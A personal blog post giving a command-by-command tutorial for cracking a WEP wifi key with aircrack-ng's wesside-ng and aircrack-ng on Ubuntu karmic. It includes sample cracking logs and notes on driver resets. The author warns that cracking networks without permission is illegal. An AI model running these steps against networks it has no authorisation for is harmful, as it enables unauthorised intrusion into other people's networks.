John Fremlin's blog: Recover wifi WEP key with wesside-ng on Ubuntu karmic

WEP encryption has been theoretically broken for years, but the attacks against it require that you capture a large number of data packets (maybe 25k for an example). Most wifi networks are generally quiet, so it's difficult to get these packets.

The wesside-ng tool from aircrack-ng introduces another attack which tricks the access point into generating lots of packets. So you needn't wait for ages before getting the key. Unfortunately, it takes a while to figure out how to use wesside-ng because there is no real documentation (as far as I know). So I'm writing this.

I've only cracked the keys of networks I had permission to use, and circumventing the WEP protection on an access point you're not allowed to use is illegal. Possibly even unsuccessfully running wesside-ng on it is illegal. Don't do it.

In these instructions, I assume you are using Ubuntu karmic. I also assume you have got rid of that arrogant pestilence that is NetworkManager. This program seems to think it is way more qualified than you to manage your connectivity. Show it who's boss (sudo apt-get purge network-manager).

First, install the program.

sudo apt-get install aircrack-ng

Second, restart your network driver by rmmod'ing it. I use the iwlagn module (Intel PRO/Wireless 4965). This is not strictly necessary, but given that the iwlagn driver still has an irritating tendency to hang and get stuck, I err on the side of unnecessary resets (you can see your module name with ls -l /sys/class/net/wlan0/device/driver/module). Anyway, to reset the iwlagn module

sudo rmmod iwlagn ; sudo modprobe iwlagn

Third, create the monitor interface.

$ sudo airmon-ng start wlan0
Interface	Chipset		Driver
wlan0		Intel 4965/5xxx	iwlagn - [phy7]
				(monitor mode enabled on mon0)

Fourth, clear away any info from runs against other access points.

$ rm -f wep.cap prga.log key.log

Finally, you are now ready to run wesside-ng. If you have many access points in range, you may want to specify the BSSID you want to attack with the -v switch (use sudo iwlist wlan0 scan to get BSSIDs).

$ sudo wesside-ng -k 10 -i mon0 
[08:39:15] Using mac 00:00:00:00:00:00
[08:39:15] Got 12 bytes of prga IV=(00:00:00) PRGA=FF FF FF FF FF FF FF FF FF FF FF FF 
[08:39:15] Looking for a victim...
[08:39:17] Found SSID(XXXXX) BSS=(FF:FF:FF:FF:FF:FF) chan=6
[08:39:17] Authenticated
[08:39:17] Associated (ID=2)
[08:41:12] Got ARP request from (FF:FF:FF:FF:FF:FF)
[08:49:41] Guessing PRGA a5 (IP byte=216)     
[08:49:41] Got deauth=2
[08:49:42] Authenticated a5 (IP byte=216)    
[08:49:42] Associated (ID=2)
[09:00:41] Guessing PRGA a5 (IP byte=216)    
[09:00:41] Got deauth=2
[09:00:42] Authenticated a5 (IP byte=216)    
[09:00:42] Associated (ID=2)
[09:02:33] Guessing PRGA a5 (IP byte=216)    
[09:02:33] Starting crack PID=14437
[09:02:33] KEY=(65:61:73:74:70)
Owned in 23.30 minutes
[09:02:33] Stopping crack PID=14437
[09:02:33] KEY=(65:61:73:74:70)
Owned in 23.30 minutes
[09:02:33] Dying...
[09:02:33] Dying...

Note that the key printed is not the key for the network. I tried this with two different access points and two different passphrases, and got this same key from wesside-ng. That's why I'm showing it here.

Run aircrack-ng by yourself on wep.cap

$ aircrack-ng wep.cap

It should say, "KEY FOUND!" and print the key.

Now I reset the wireless driver and go online (you might be able to get away without doing this, just sudo airmon-ng stop mon0 but I have little faith in the Intel driver). As usual, you may want to a scan before trying to associate.

$ sudo rmmod iwlagn ; sudo modprobe iwlagn
$ sudo ifconfig wlan0 up; sudo iwlist wlan0 scan
$ sudo iwconfig wlan0 essid NETWORKESSID key KEYFROMAIRCRACKNG
$ sudo dhclient wlan0

If it didn't work. To debug, check that wep.cap is large. In my limited experience 1MB-10MB is about what you need. If it is small, run wesside-ng again, checking that it is growing. Check dmesg to see if the driver has got stuck again, and if it has, rmmod and modprobe it.

Why did I use the undocumented -k10 switch? If you don't, you will probably get this irritating misspelled error message, unless the access point is very close.

[08:29:17] ERROR Max retransmists for (40 bytes):
FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF

The -k10 parameter to tells wesside-ng to resend packets ten times, instead of waiting for an Ack. Additionally, not specifying this means that the Intel driver is more likely to get wedged.

The downside to the -k switch is that it might make things slower if you are very close to the access point.

Have fun, don't rely on WEP for security and please don't hack other people's access points!

PS. Another debugging trick is to watch the traffic on mon0

$ sudo tcpdump -n -i mon0

This will stop flowing when the driver gets wedged.